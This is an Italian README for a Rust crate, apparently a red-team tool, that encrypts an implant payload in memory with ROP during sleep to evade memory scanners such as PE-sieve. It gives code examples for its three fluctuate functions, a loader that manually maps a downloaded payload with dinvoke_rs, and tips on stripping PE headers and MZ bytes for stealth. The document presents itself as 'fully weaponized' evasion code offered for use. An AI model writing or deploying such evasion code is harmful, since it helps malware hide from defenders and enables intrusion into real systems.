
Offuscamento del sonno basato su ROP per eludere gli scanner di memoria
Shelter è una tecnica di offuscamento del sonno completamente armata che permette di crittografare completamente il tuo payload in memoria facendo un uso estensivo di ROP.
Questo crate presenta le seguenti caratteristiche:
Importa questo crate nel tuo progetto aggiungendo la seguente riga al tuo cargo.toml:
[dependencies]
shelter = "=0.1.2"
Quindi, compila il tuo progetto in modalità --release.
La funzionalità principale di questo crate è stata racchiusa in tre funzioni:
fluctuate() permette di crittografare sia la regione di memoria corrente che l'intero PE. Questa funzione richiede che i byte MZ del PE siano presenti per recuperare dinamicamente il suo indirizzo di base.fluctuate_from_address() crittografa completamente il PE. Questa funzione si aspetta come parametro di input l'indirizzo di base del PE.fluctuate_from_pattern() crittografa anch'essa completamente il PE. Questa funzione si aspetta come parametro di input un set personalizzato di due byte da utilizzare per determinare l'indirizzo di base del PE. Questi byte magici personalizzati sostituiscono il classico pattern MZ.Ogni volta che l'intero PE viene crittografato, le protezioni di memoria delle sezioni originali vengono memorizzate nell'heap per essere ripristinate successivamente.
Shelter utilizza NtWaitForSingleObject per dormire. Oltre a indicare per quanti secondi si desidera dormire, è possibile passare anche un handle di evento e segnalarlo in qualsiasi momento per tornare prima della scadenza del timeout (usando SetEvent per esempio). Tieni presente che se l'intero payload è crittografato (che è il punto principale, immagino), avrai bisogno di un modo alternativo per segnalare l'evento nel caso in cui tu abbia dormito indefinitamente.
La funzione si aspetta i seguenti parametri:
true richiede che i byte MZ siano presenti in memoria.None, il timeout sarà infinito, il che significa che l'esecuzione non tornerà fino a quando l'evento passato a NtWaitForSingleObject non viene segnalato.None. Il programma si bloccherà se imposti questo parametro e il timeout entrambi a None.let time_to_sleep = Some(10); // Dormi per 10 secondi
let _ = shelter::fluctuate(false, time_to_sleep, None); // Crittografa solo la regione di memoria corrente
let time_to_sleep = Some(10); // Dormi per 10 secondi
let _ = shelter::fluctuate(true, time_to_sleep, None); // Crittografa l'intero PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // Dormi indefinitamente
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // Crittografa l'intero PE finché l'evento non viene segnalato
La funzione si aspetta i seguenti parametri:
None, il timeout sarà infinito, il che significa che l'esecuzione non tornerà fino a quando l'evento passato a NtWaitForSingleObject non viene segnalato.None. Il programma si bloccherà se imposti questo parametro e il timeout entrambi a None.Un modo per utilizzare questa funzione sarebbe quello di mappare manualmente il nostro payload con Dinvoke_rs. In questo modo, il loader può inviare al payload il proprio indirizzo di base, così che il payload possa usarlo per offuscarsi ogni volta che è necessario. In questo modo, il loader può rimuovere in sicurezza le intestazioni del PE per ottenere un certo livello di furtività.
Esempio di loader:
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("La dll è caricata all'indirizzo di base 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
Esempio di payload:
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // Dormi per 10 secondi
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // Crittografa l'intero PE da questo specifico indirizzo di base
...
}
La funzione si aspetta i seguenti parametri:
None, il timeout sarà infinito, il che significa che l'esecuzione non tornerà fino a quando l'evento passato a NtWaitForSingleObject non viene segnalato.None. Il programma si bloccherà se imposti questo parametro e il timeout entrambi a None.[u8;2] contenente byte magici personalizzati da cercare per ottenere l'indirizzo di base del PE.Lo scopo di creare questa funzione è di permettere al loader di rimuovere l'intestazione del PE e altre firme, inclusi i classici byte MZ. In questo modo, quei byte possono essere sostituiti da un pattern personalizzato che Shelter cercherà per recuperare l'indirizzo di base del PE.
let time_to_sleep = Some(10); // Dormi per 10 secondi
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // Crittografa l'intero PE usando un pattern personalizzato come byte magici
Per testare l'implementazione della tecnica, è stato utilizzato principalmente PE-sieve. Per impostazione predefinita, PE-sieve cerca impianti all'interno di regioni di memoria eseguibili, il che significa che anche offuscare esclusivamente la regione di memoria corrente (.text) è sufficiente per evitare rilevamenti:
